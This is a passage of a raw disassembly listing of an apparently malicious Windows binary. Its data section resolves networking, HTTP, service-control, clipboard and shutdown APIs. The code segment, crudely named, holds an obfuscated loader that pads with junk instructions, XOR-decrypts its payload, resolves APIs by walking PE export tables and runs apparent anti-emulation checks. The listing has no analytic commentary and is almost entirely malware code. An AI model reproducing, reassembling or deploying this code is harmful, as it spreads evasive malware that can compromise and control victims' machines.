dword_433534	dd 0		; resolved to->WS2_32.send					; sub_4028A8+E2r ...
dword_433538	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_4058F3+15r
dword_43353C	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_402717+2Br ...
dword_433540	dd 0							; sub_40468E+AC1r
dword_433544	dd 0		; resolved to->WS2_32.select					; sub_403E06+3C4r ...
dword_433548	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_43354C	dd 0		; resolved to->WININET.InternetReadFile					; sub_40468E+7EEw ...
dword_433550	dd 0							; sub_40468E+BBEr ...
dword_433554	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_40468E+45Br
dword_433558	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_403E06:loc_4041D9r ...
dword_43355C	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_40468E+342r ...
dword_433560	dd 0		; resolved to->USER32.SendMessageA					; sub_40468E+1ADr ...
dword_433564	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_40468E+357r ...
dword_433568	dd 0							; sub_40468E+9BEr ...
dword_43356C	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_40468E+377r ...
dword_433570	dd 0		; resolved to->WS2_32.ntohl					; sub_40468E+57Ew ...
dword_433574	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_40468E+664r
dword_433578	dd 0		; resolved to->WS2_32.bind					; sub_40468E+5BFw ...
dword_43357C	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_40468E+265w ...
dword_433580	dd 0		; resolved to->ADVAPI32.ControlService					; sub_40468E+35Fr ...
dword_433584	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_40468E+A13r ...
dword_433588	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_406CD9+116r
dword_43358C	dd 0							; sub_40468E+B99r ...
dword_433590	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_40468E+744r ...
dword_433594	dd 0		; resolved to->WS2_32.ntohs					; sub_40468E+6DCr
dword_433598	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_4067C0+ABr
dword_43359C	dd 0		dword_4335A0	dd 0							; sub_40468E+996r ...
dword_4335A4	dd 0							; sub_40468E+BAEr ...
dword_4335A8	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_40468E+B1Br ...
dword_4335AC	dd 0		; resolved to->WS2_32.closesocket					; sub_402795+12r ...
dword_4335B0	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_40468E+443r
dword_4335B4	dd 0		; resolved to->WS2_32.gethostname					; sub_40468E+734r
dword_4335B8	dd 0		; resolved to->WS2_32.WSACleanup					; sub_402795+1Dr ...
dword_4335BC	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_40468E+2C9r ...
dword_4335C0	dd 0		; resolved to->WS2_32.listen					; sub_40468E+5D9w ...
dword_4335C4	dd 0		; resolved to->WS2_32.ntohl					; sub_40468E+564w ...
dword_4335C8	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_40468E+25Fr ...
dword_4335CC	dd 0		; resolved to->USER32.GetClipboardData					; sub_40468E+1DAr ...
dword_4335D0	dd 0							; sub_40468E+ACEr
dword_4335D4	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_40468E+2BCr ...
dword_4335D8	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_40468E+34Fr ...
dword_4335DC	dd 0		; resolved to->GDI32.CreateDCA					; sub_40468E+436r
dword_4335E0	dd 0							; sub_40468E+863w ...
dword_4335E4	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_40468E+818r
dword_4335E8	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_40468E+808r ...
dword_4335EC	dd 0		; resolved to->WS2_32.ntohs					; sub_4028A8+70r ...
dword_4335F0	dd 0							; sub_40468E+12Bw ...
dword_4335F4	dd 0							; sub_405277+1Cr
dword_4335F8	dd 0							; sub_405277:loc_4052BFr
dword_4335FC	dd 0							; sub_405277+50r
dword_433600	dd 0							; sub_40468E:loc_404963w ...
dword_433604	dd 0							; sub_405277+84r
dword_433608	dd 0							; sub_405277:loc_405327r
dword_43360C	dd 0							; sub_405277+B8r
dword_433610	dd 0							; sub_405277:loc_40535Br
dword_433614	dd 0							; sub_405277+ECr
dword_433618	dd 0							; sub_40468E+877w ...
dword_43361C	dd 0							; sub_405277+120r
dword_433620	dd 0							; sub_405277:loc_4053C3r ...
dword_433624	dd 0							; sub_405277+154r
dword_433628	dd 0							; sub_405277:loc_4053F7r ...
dword_43362C	dd 0							; sub_405277+188r
dword_433630	dd 0							; sub_405277:loc_40542Br
dword_433634	dd 0							; sub_405277+1BCr
dword_433638	dd 0							; sub_405277:loc_40545Fr
dword_43363C	dd 0							; sub_405277+1F0r
dword_433640	dd 0							; sub_405277:loc_405493r
dword_433644	dd 0							; sub_405277+224r
dword_433648	dd 0							; sub_405277:loc_4054C7r
dword_43364C	dd 0							; sub_405277+258r
dword_433650	dd 0							; sub_405277:loc_4054FBr
dword_433654	dd 0							; sub_405277+28Cr
		align 10h
dword_433660	dd 80h dup(0)	dword_433860	dd 17h dup(0)						; sub_405C4B+12Do ...
dword_4338BC	dd 0							; sub_405F46+5Br ...
dword_4338C0	dd 0							; sub_405F46+3Ew ...
		align 8
dword_4338C8	dd 18h dup(0)						; sub_40649E+12Ao
dword_433928	dd 80h dup(0)						; sub_4065CE+A9o
dword_433B28	dd 80h dup(0)						; sub_40668A+60o
dword_433D28	dd 80h dup(0)						; sub_406702+83o ...
dword_433F28	dd 80h dup(0)						; sub_4068DF+8Eo ...
dword_434128	dd 4 dup(0)	dword_434138	dd 0							; sub_401F06+14Eo ...
		dd 7Fh dup(0)
dword_434338	dd 0							; sub_410FD3+3Ew ...
dword_43433C	dd 0							; sub_40169B:loc_4018ADr ...
dword_434340	dd 0							; sub_40F07B+A2w ...
dword_434344	dd 0							; sub_403E06+78w ...
dword_434348	dd 0							; sub_40D744:loc_40D7C1r ...
dword_43434C	dd 0							; sub_401141+26Fw ...
byte_434350	db 0			; DATA XREF: sub_40779B+57o
					; sub_4078FA+22F1r ...
		align 4
		dd 44FFh dup(0)
dword_445750	dd 0CDDEh dup(0)dword_478EC8	dd 0							; sub_410EEA+13o ...
dword_478ECC	dd 20h dup(0)						; sub_40D1EF+4B8o ...
dword_478F4C	dd 10h dup(0)	dword_478F8C	dd 24h dup(0)	dword_47901C	dd 0							; sub_40D1EF+4CFw ...
dword_479020	dd 0				align 10h
dword_479030	dd 0							; sub_401B23+62r ...
		dd 5 dup(0)
dword_479048	dd 0							; sub_4078FA+9DCr
		dd 1Fh dup(0)
dword_4790C8	dd 0							; sub_4110F9+19o
dword_4790CC	dd 2B9h	dup(0)	dword_479BB0	dd 0							; sub_401B23+47o ...
byte_479BB4	db 0			; DATA XREF: sub_40751F+2Ar
					; sub_40751F+33o
		align 4
dword_479BB8	dd 0							; sub_40D1EF+46Cw ...
dword_479BBC	dd 0							; sub_40D1EF+404w
dword_479BC0	dd 0							; sub_40DDC6+87o
dword_479BC4	dd 0							; sub_40DC39+119r ...
dword_479BC8	dd 0							; sub_40DDC6+115w
dword_479BCC	dd 0							; sub_40DC39+32r ...
dword_479BD0	dd 0Dh dup(0)						; sub_40DC39+114o ...
dword_479C04	dd 0							; sub_40DC39+53r ...
		dd 0
dword_479C0C	dd 0				dd 2 dup(0)
dword_479C18	dd 80h dup(0)	byte_479E18	db 0			; DATA XREF: sub_40F689:loc_40F6E6r
					; sub_40F689+93w
		align 4
dword_479E1C	dd 0Eh dup(0)	dword_479E54	dd 0		dword_479E58	dd 0		dword_479E5C	dd 0							; sub_416764r ...
dword_479E60	dd 0							; .text:00414984w
dword_479E64	dd 0		dword_479E68	dd 0							; sub_416764+9r ...
dword_479E6C	dd 0		dword_479E70	dd 0							; sub_41A3FA+8Fw
dword_479E74	dd 0							; sub_40D1EF+314r ...
		dd 0
dword_479E7C	dd 0							; sub_41A1C7:loc_41A278r ...
		dd 3 dup(0)
dword_479E8C	dd 0				dd 0
byte_479E94	db 0			; DATA XREF: sub_414460+35w
					; sub_41665F+5r
		align 4
dword_479E98	dd 0		dword_479E9C	dd 0							; sub_414460+C1w
dword_479EA0	dd 0							; sub_41A1C7:loc_41A1D9r ...
		align 8
dword_479EA8	dd 0				dd 3 dup(0)
dword_479EB8	dd 0							; sub_418FBC:loc_418FE5w ...
		align 10h
dword_479EC0	dd 54h dup(0)	dword_47A010	dd 0		dword_47A014	dd 0							; sub_41318A+192r ...
dword_47A018	dd 0							; sub_4182E4+31w ...
		dd 2 dup(0)
dword_47A024	dd 0							; sub_41945D+1Dw ...
dword_47A028	dd 0				align 10h
dword_47A030	dd 41h dup(0)	byte_47A134	db 0			; DATA XREF: sub_41A3FA:loc_41A411w
		align 4
dword_47A138	dd 0							; sub_41A49C+24w ...
dword_47A13C	dd 0							; sub_41AF01+2Ew ...
dword_47A140	dd 0							; .data:off_42D16Co ...
dword_47A144	dd 0		dword_47A148	dd 0				dd 0Bh dup(0)
dword_47A178	dd 0							; sub_41AF01+14Ar
		dd 3 dup(0)
dword_47A188	dd 0							; sub_4182E4+272r ...
		dd 0Ah dup(0)
dword_47A1B4	dd 0		; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_41BBD8+39w ...
dword_47A1B8	dd 0		dword_47A1BC	dd 0		dword_47A1C0	dd 0							; sub_41CD5F+38r ...
dword_47A1C4	dd 0		; resolved to->USER32.MessageBoxA					; sub_41D75B+38w ...
dword_47A1C8	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41D75B:loc_41D820r
dword_47A1CC	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41D75B+D6r
dword_47A1D0	dd 0		; resolved to->USER32.GetProcessWindowStation					; sub_41D75B:loc_41D7DBr
dword_47A1D4	dd 0		; resolved to->USER32.GetUserObjectInformationA					; sub_41D75B+9Cr
		dd 30h dup(0)
dword_47A298	dd 0		dword_47A29C	dd 0							; sub_41E363+87r
dword_47A2A0	dd 0							; sub_41E363+4Dr
dword_47A2A4	dd 0							; sub_41E363+40r
dword_47A2A8	dd 0							; sub_41E363+5Ar
		dd 4 dup(0)
dword_47A2BC	dd 0		dword_47A2C0	dd 0		dword_47A2C4	dd 0		dword_47A2C8	dd 0							; sub_417703+Fr ...
		dd 5 dup(0)
dword_47A2E0	dd 0							; sub_416304+5Br ...
dword_47A2E4	dd 3Fh dup(0)	dword_47A3E0	dd 0							; sub_419AA1+2Dw ...
dword_47A3E4	dd 0							; sub_419AA1+46w
dword_47A3E8	dd 0							; sub_4190C6+87r ...
dword_47A3EC	dd 0							; sub_419258:loc_419297r ...
dword_47A3F0	dd 0							; sub_4192C7+F5w ...
		align 10h
byte_47A400	db 0			; DATA XREF: sub_41909D+6o
					; sub_4192C7+55o ...
byte_47A401	db 0			; DATA XREF: sub_4141AD+5Er
					; sub_4190C6+107w ...
		align 4
		dd 40h dup(0)
dword_47A504	dd 0							; sub_4190C6+19r ...
		align 10h
word_47A510	dw 0			; DATA XREF: sub_41909D+1Fo
					; sub_4192C7+10Co ...
		align 10h
byte_47A520	db 0			; DATA XREF: sub_4190C6:loc_4191DBw
					; sub_4190C6:loc_4191F8w ...
		align 4
		dd 3Fh dup(0)
dword_47A620	dd 0							; sub_4169A5+21Cr ...
dword_47A624	dd 0							; sub_41697Ar ...
dword_47A628	dd 0							; sub_41697A+8r ...
dword_47A62C	dd 0							; sub_4133A6+18r ...
dword_47A630	dd 0							; sub_4169A5+300w ...
dword_47A634	dd 0							; sub_416CBD+5r ...
dword_47A638	dd 0							; sub_4169A5+249r ...
dword_47A63C	dd 0							; sub_41318A+DAr ...
dword_47A640	dd 0							; sub_41318A:loc_4131C0r ...
dword_47A644	dd 0							; sub_4164D8+51r ...
		dd 6 dup(0)
dword_47A660	dd 400h	dup(0)						; .data:0042C908o
dword_47B660	dd 0							; sub_4165B6r ...
dword_47B664	dd 0							; sub_41A15E+Fr ...
dword_47B668	dd 0		dword_47B66C	dd 0							; sub_414460:loc_4144BAr ...
dword_47B670	dd 0							; sub_414460+62r ...
dword_47B674	dd 0							; sub_4195AD+11w ...
_data		ends

; Section 4. (virtual address 0007C000)
; Virtual size			: 0000A000 (  40960.)
; Section size in file		: 0000A000 (  40960.)
; Offset to raw	data for section: 0007C000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
fuck		segment	para public 'CODE' use32
		assume cs:fuck
		;org 47C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 7C028h, 7C035h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 801D7700h, 80ADA07Ch
		dd 7Ch,	4C000000h, 4C64616Fh, 61726269h, 417972h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 2 dup(0)
		dd 47C07900h, 47C07D00h, 5 dup(0)
		db 0
byte_47C085	db 90h			; DATA XREF: start+47o
word_47C086	dw 25E8h		; DATA XREF: fuck:0047C1A4o
					; start:loc_47C826o
		dd 1, 10h, 1F0h, 2A0h, 6 dup(0)
		dd 0C4000000h, 560001D8h, 0A3h,	38h, 1Ah dup(0)
		dd 56000000h, 75747269h, 6C416C61h, 636F6Ch, 61427349h
		dd 61655264h, 72745064h, 809A5100h, 809E017Ch, 8000007Ch
		dd 7Ch,	0
		dd 40000000h, 0
		dd 2890000h, 80000000h,	1492A7Ch, 0
		dd 72695600h, 6C617574h, 746F7250h, 746365h, 7C801AD0h
		dd 4, 1, 2 dup(0)
		dd 12FFC0h, 0FFFFA2D5h,	0FFFFFFFEh, 0
		dd offset word_47C086
		dd offset start
		dd 0FFFFFFFFh, 0E8h, 0ED815D00h, 4011B5h, 11988589h, 9D890040h
		dd 40119Ch, 11A08D89h, 95890040h, 4011A4h, 11A8B589h, 0BD890040h
		dd 4011ACh, 1188BD83h, 74000040h, 94A58B2Bh, 8B004011h
		dd 40119885h, 9C9D8B00h, 8B004011h, 4011A08Dh, 0A4958B00h
		dd 8B004011h, 4011A8B5h, 0ACBD8B00h, 0C3004011h, 1194A589h
		dd 85830040h, 401194h, 8885C704h, 1004011h, 8D000000h
		dd 40102885h, 95FF5000h, 401035h, 114D8589h, 9D8D0040h
		dd 40112Bh, 95FF5053h, 401039h,	11458589h, 9D8D0040h, 401138h
		dd 4DB5FF53h, 0FF004011h, 40103995h, 49858900h,	8D004011h
		dd 4011719Dh, 0B5FF5300h, 40114Dh, 103995FFh, 85890040h
		dd 401180h, 0E8h, 81665A00h, 745A4D3Ah,	0F6EB4A03h, 3C4AB70Fh
		dd 5152CA03h, 0FF51046Ah, 40114995h, 0B5A5900h,	810875C0h
		dd 455039h, 4A037400h, 7981D4EBh, 3DC70h, 4A037400h, 9589C8EBh
		dd 401159h, 84858D51h, 50004011h, 68046Ah, 51000010h, 118095FFh
		dd 8B590040h, 40118C85h, 78418900h, 1190858Bh, 41890040h
		dd 0AB9517Ch, 33000000h, 0DBB58DD2h, 3004010h, 0C085ADF2h
		dd 85031774h, 401159h, 9D8D60h,	53004010h, 6158D0FFh, 0E204C283h
		dd 8D5159DCh, 40118485h, 46A5000h, 100068h, 95FF5100h
		dd 401180h, 6D858B59h, 89004011h, 8881h, 8C81C700h, 68000000h
		dd 6A000003h, 10006840h, 680000h, 6A010000h, 4595FF00h
		dd 8B004011h, 0C381D8h,	8D002000h, 40108BB5h, 0B3BD8D00h
		dd 33004010h, 0AB9D2h, 85AD0000h, 32974C0h, 40115985h
		dd 50535000h, 1B8E8h, 8C48300h,	8D8D6058h, 4010B3h, 98BCA03h
		dd 0F38BF88Bh, 8361A4F3h, 0D2E204C2h, 1151BD83h, 74000040h
		dd 51858B66h, 8B004011h, 4011599Dh, 0FF38B00h, 33C7EB7h
		dd 34578BFEh, 89DA2B60h, 4011559Dh, 0D33B6100h,	0D8034174h
		dd 74003B83h, 8B038B3Ah, 0E9D1044Bh, 0F08C383h,	0D78B3BB7h
		dd 830CEFC1h, 1A7503FFh, 0E781FA8Bh, 0FFFh, 0BD03F803h
		dd 401159h, 55858B50h, 1004011h, 0FA8B5807h, 0E202C383h
		dd 8BC1EBD2h, 40115D85h, 74C00B00h, 59850311h, 8B004011h
		dd 401079BDh, 8708B00h,	0B58B3E89h, 401161h, 1159B503h
		dd 0EE830040h, 14C68314h, 107E83h, 90840Fh, 5E8B0000h
		dd 599D030Ch, 56004011h, 3595FF53h, 5E004010h, 11658589h
		dd 3E830040h, 8B137400h, 59BD033Eh, 8B004011h, 8D03104Eh
		dd 401159h, 7E8B12EBh, 59BD0310h, 8B004011h, 8D03104Eh
		dd 401159h, 74003F83h, 0F1F8BACh, 721FE3BAh, 599D0320h
		dd 83004011h, 575102C3h, 65B5FF53h, 0FF004011h,	40103995h
		dd 89595F00h, 0EB018907h, 0D1E3D119h, 535751EBh, 1165B5FFh
		dd 95FF0040h, 401039h, 789595Fh, 0C7830189h, 4C18304h
		dd 0AB9B2EBh, 33000000h, 3B58DD2h, 3004011h, 0C085ADF2h
		dd 85031774h, 401159h, 9D8D60h,	53004010h, 6158D0FFh, 0E204C283h
		dd 94A58BDCh, 8B004011h, 40119885h, 9C9D8B00h, 8B004011h
		dd 4011A08Dh, 0A4958B00h, 8B004011h, 4011A8B5h,	0ACBD8B00h
		dd 8B004011h, 40116995h, 59950300h, 0FF004011h,	40C033E2h
		dd 748B60C3h, 7C8B2424h, 0B2FC2824h, 0A4DB3380h, 6DE802B3h
		dd 73000000h, 0E8C933F6h, 64h, 0C0331C73h, 5BE8h, 0B3237300h
		dd 10B04102h, 4FE8h, 73C01200h,	0AA3F75F7h, 4DE8D4EBh
		dd 2B000000h, 0E81075CBh, 42h, 0D1AC28EBh, 134D74E8h, 911CEBC9h
		dd 8E0C148h, 2CE8ACh, 3D0000h, 7300007Dh, 5FC800Ah, 0F8830673h
		dd 4102777Fh, 0C58B9541h, 8B5601B3h, 0F3F02BF7h, 8EEB5EA4h
		dd 575D202h, 1246168Ah,	0C933C3D2h, 0FFEEE841h,	0C913FFFFh
		dd 0FFFFE7E8h, 0C3F272FFh, 28247C2Bh, 1C247C89h, 9090C361h
		dd 90909090h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near		; DATA XREF: fuck:0047C1A8o
		mov	ecx, 56Fh
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C623
		add	eax, 23B2h


loc_47C623:				; CODE XREF: start+24j
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		mov	esi, offset byte_47C085
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C66A
		add	eax, 23B2h


loc_47C66A:				; CODE XREF: start+6Bj
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		call	$+5
		pop	edx
		add	edx, 4
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C6B5
		add	eax, 23B2h


loc_47C6B5:				; CODE XREF: start+B6j
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		test	ecx, ecx
		jz	loc_47C826
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C6FF
		add	eax, 23B2h


loc_47C6FF:				; CODE XREF: start+100j
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		xor	byte ptr [esi],	77h
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C744
		add	eax, 23B2h


loc_47C744:				; CODE XREF: start+145j
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		inc	esi
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C787
		add	eax, 23B2h


loc_47C787:				; CODE XREF: start+188j
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		dec	ecx
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C7CA
		add	eax, 23B2h


loc_47C7CA:				; CODE XREF: start+1CBj
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp
		jmp	edx
; ---------------------------------------------------------------------------
		and	ebx, ebx
		inc	ebx
		inc	eax
		dec	ebx
		or	bl, ah
		and	ebx, ebx
		add	eax, 4FACh
		or	ebp, ebx
		inc	ebp
		and	al, 43h
		xor	ah, ah
		sbb	ebx, ebp
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jg	loc_47C80E
		add	eax, 23B2h


loc_47C80E:				; CODE XREF: start+20Fj
		sub	ah, bl
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		dec	edi
		or	ebx, ebp
		push	ebx
		dec	eax
		pop	eax
		dec	edi
		dec	edi
		sbb	eax, 4CCCh
		inc	eax
		and	ebp, ebp


loc_47C826:				; CODE XREF: start+DBj
		mov	edx, offset word_47C086
		and	esi, ebx
		and	ah, bl
		cmp	ebx, ebx
		jz	loc_47C84F
		inc	ebx
		inc	eax
		adc	bl, ah
		and	ebx, ebx
		inc	ebp
		add	eax, 4FACh
		or	ebp, ebx
		or	eax, 2695h
		dec	ebx
		push	edi
		pop	ebp
		sbb	ebx, ebp


loc_47C84F:				; CODE XREF: start+23Dj
		inc	edi
		sub	eax, 45Eh
		cmp	ebp, ebp
		jbe	loc_47C86E
		add	ah, ah
		sub	ah, bl
		dec	eax
		dec	ebx
		xor	al, 84h
		inc	ebx
		and	al, 97h
		push	ebp
		dec	eax
		or	ebx, ebp
		pop	edi
		inc	ebp


loc_47C86E:				; CODE XREF: start+263j
		dec	eax
		dec	edi
		dec	edi
		dec	edi
		push	ebx
		and	ebp, ebp
		xor	ah, bl
		pop	edi
		adc	ah, ah
		push	ebp
		dec	ebx
		dec	ebp
		or	ebp, ebp
		or	bl, bl
		jmp	edx
start		endp

; ---------------------------------------------------------------------------
		db 21h
		dd 4B4043DBh, 0DB21DC0Ah, 4FAC0558h, 0DD090000h, 32432445h
		dd 47DD1BE4h, 45E2Dh, 0FED3B00h, 58Fh, 23B20500h, 0E32A0000h
		dd 4384344Bh, 0B4F9724h, 584853DDh, 0CC1D4F4Fh,	4000004Ch
		dd 0ED23h, 5CEh	dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_47E04D
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_47E041
		mov	ebx, [eax+29C1h]
		jmp	short loc_47E04B
; ---------------------------------------------------------------------------


loc_47E041:				; CODE XREF: fuck:0047E037j
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_47E04B:				; CODE XREF: fuck:0047E03Fj
		mov	ebx, [ebx]


loc_47E04D:				; CODE XREF: fuck:0047E01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 1A11h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0CFh
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_47E07B
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_47E07B:				; CODE XREF: fuck:0047E074j
		and	ebx, 0FFFFF000h


loc_47E081:				; CODE XREF: fuck:0047E090j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_47E092


loc_47E08A:				; CODE XREF: fuck:0047E09Fj
		sub	ebx, 100h
		jnz	short loc_47E081


loc_47E092:				; CODE XREF: fuck:0047E088j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_47E08A
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_47E0AC:				; CODE XREF: fuck:loc_47E0C0j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_47E0C0
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_47E0C5


loc_47E0C0:				; CODE XREF: fuck:0047E0B5j
		loop	loc_47E0AC
		pop	ecx
		jmp	short loc_47E0F0
; ---------------------------------------------------------------------------


loc_47E0C5:				; CODE XREF: fuck:0047E0BEj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_47E137
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47E17E


loc_47E0F0:				; CODE XREF: fuck:0047E0C3j
					; sub_47E17E+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_47E11C
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_47E11C:				; CODE XREF: sub_47E17E-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_47E17E
; ---------------------------------------------------------------------------
		dw 6A26h

; =============== S U B	R O U T	I N E =======================================



sub_47E120	proc near		; CODE XREF: sub_48045B+2DFp
		push	ebx
		mov	ecx, 2889h
		mov	ebx, edx


loc_47E128:				; CODE XREF: sub_47E120+13j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_47E128
		pop	ebx
		retn
sub_47E120	endp

; ---------------------------------------------------------------------------


loc_47E137:				; CODE XREF: fuck:0047E0EEj
		call	near ptr loc_47E146+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_47E1A3+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_47E146:				; CODE XREF: fuck:loc_47E137p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_47E162+1
		inc	ebx
		jb	short loc_47E1BE
		popa
		jz	short near ptr loc_47E1C0+1
		inc	ebp
		jbe	short near ptr loc_47E1C0+4
		outsb
		jz	short loc_47E1A3


loc_47E162:				; CODE XREF: fuck:0047E151p
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_47E17E
		inc	edi
